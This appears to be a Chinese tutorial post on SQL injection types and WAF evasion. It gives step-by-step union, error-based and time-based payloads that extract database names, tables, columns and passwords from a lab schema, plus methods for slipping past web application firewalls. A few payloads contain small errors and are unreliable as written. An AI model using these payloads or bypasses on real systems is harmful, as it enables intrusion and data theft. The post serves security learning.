天天看點

sql注入類型、步驟以及繞waf注入

一、SQL注入:SQL注入就是是一種将SQL語句插入或添加到應用(使用者)的輸入

參數中的攻擊,之後再将這些參數傳遞給背景的SQL伺服器加以解析并執行。

最終使使用者可控的輸入被帶入到了資料庫中進行執行。

 1.1存在SQL注入的地方大緻有: 

l   Get

l   Post

l   Cookie

l   http頭部

 1.2 SQL注入的基本類型

l Union聯合查詢注入

l 基于報錯注入(extractvalue(arg1,arg2),updatexml,floor)

l 基于布爾類型注入

l 基于時間的注入 -- sleep(arg1),  benchmark(arg1,arg2)

l 寬位元組注入,二次編碼注入 (%df%23, %2527)、

分類介紹:

1.2.1 Union聯合查詢注入:需要的條件

    1.union必須由兩條或兩條以上的SELECT語句組成

2.union中的每個查詢必須包含相同的列

3.union會從查詢結果集中自動去除了重複行。

4.union注入使用的前提是頁面要有顯示位。這個也是一個union的缺點或者說是限制。

Union聯合查詢注入大緻步驟:

1. 判斷列數 -- 通過 order by n;

2. 判斷顯示位 -- id =-1 union select 1,2,3...........

3. 爆庫

id=-1'UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--

?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--

4. 爆表

?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--

小計:資料庫名稱可以用十六進制來代替字元串,這樣可以繞過單引号的限制,也可以直接從資料庫查詢的語句取出來表的名

5. 暴字段

?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--

6. 暴資料

?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--

1.2.2 報錯注入

 1.報錯注入就是構造讓資訊通過錯誤提示回顯出來,

   前提:頁面上沒有顯示位,但是需要執行SQl語句輸出錯誤資訊

  1.1通過extractvalue(arg1,arg2)報錯

     通過updateXML(arg1,arg2,arg3)報錯

     通過floor(arg1)報錯

  1.2 步驟 :

1. 查詢資料庫名字

          1’ and extractvalue(1,concat(0x74,(select database()),0x7e#

      2. 檢視資料庫有哪些表

          1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#

       3,檢視表右哪些列名

           1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e))#

       4,最後檢視資料

           1’ and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#

 1.2.3 基于布爾類型的注入

頁面上不需要顯示位,也沒有輸出錯誤資訊,隻能通過頁面傳回是否正常

exists( )函數:

exists 用于檢查子查詢是否隻要會傳回一行資料,該子查詢實際上并不傳回任何資料,而是傳回True或False

ascii( )函數:

傳回字元串str的最左面字元的ASCII代碼值。如果str是空字元串,傳回0。

查尋步驟同上面的一樣,隻不過需要擷取結果的ascii值。來進行查詢字元

1.2.4 時間注入

原理:正确的sql語句和錯誤的sql語句傳回的時間不一樣,依此來判斷查詢結果的正确性,但是要耗費大量時間。

Sleep(arg) arg中斷的時間,

Select if(1=1,sleep( 5),0),結果頁面延遲5秒顯示,如果判斷錯誤,則直接顯示0,不進行等待5秒,

例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);

// 表示目前庫的第二個表名的第一個字元的ascii碼值大于150,就延遲3秒傳回結果,若小于150 ,直接傳回結果,不執行sleep()函數;

1.2.5寬位元組注入 && 二次編碼注入

1.寬位元組注入主要是編碼轉換的問題的注入

2.當送出id=1’ and 1=1%23後,引号會被轉義為1\’,顯然這是失敗的注入,。因為單引号被轉義導緻沒有閉合前面的單引号。但是我們在送出id=1%df’ and 1%23 後,單引号會轉義成\’--%5c和前面的%df結合通過gbk編碼得到一個漢字,這時後面的單引号會閉合前面的單引号,形成完整的sql查詢語句,

例如:

http://192.168.31.133/shiyan/kzj.php?id=2%df%27 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23

// 表示的是根據表名,把對應表下面的列字段全部根據錯誤注入的傳回暴出。

二次編碼:形如id=2%2527, 先把%25編碼為%和後面的27結合為%27 ,就是單引号。

二、繞過WAF注入

 1.什麼是waf

  WAF全稱Web Application Firewall,是部署在web伺服器前面保護網站應用抵禦來自外部和内部的攻擊。通俗點講就是網頁伺服器的專門保镖

 2.WAF分類

1硬體waf ->伺服器 性能更加強大,裡面的核心原理還是規則比對,

2雲waf -> 百度加速樂,域名解析權限給雲。

3代碼waf -> ModSecurity

4軟體WAF -> 安全狗

3. waf三個基本步驟: 身份認證 資料包解析 規則比對。

4. Waf的檢測主要有三個階段:

1. 首先進行身份驗證,白名單的直接給伺服器,廢白名單的要去進行資料包的解析,

2. 無法解析資料包的将丢棄給伺服器處理,正常解析的去進行規則判斷。

3. 符合規則的給伺服器,不符合規則的将進行攔截。

5. 怎麼繞過waf

  1.身份認證的繞過

WAF是有一個白名單的,在白名單内的客戶請求将不做檢測

1.1僞造搜尋引擎

早些版本的安全狗是有這個漏洞的,就是把User-Agent修改為搜尋引擎便可以繞過,進行sql注入等攻擊

1.2僞造白名單特殊目錄

1.3直接攻擊源站

這個方法的原理通過DNS解析到雲WAF,通路網站的流量要經過指定的DNS伺服器解析,然後進入WAF節點進行過濾,最後通路原始伺服器,如果能通過一些手段找到原始的伺服器位址,便可以繞過.

2.資料包解析的繞過

2.1編碼繞過

進行urlencode

2.2修改請求方式繞過

有時候WAF對GET進行了過濾,但是Cookie甚至POST參數卻沒有檢測。

WAF在這裡主要是針對一些特殊的關鍵詞或者用法進行檢測。可以用cookie中轉注入。

3.規則比對的繞過

3.1特殊字元替換空格 

3.2特殊字元拼接

把特殊字元拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋來繞過,

3)注釋包含關鍵字

在mysql中,可以利用包含關鍵詞進行繞過。

繼續閱讀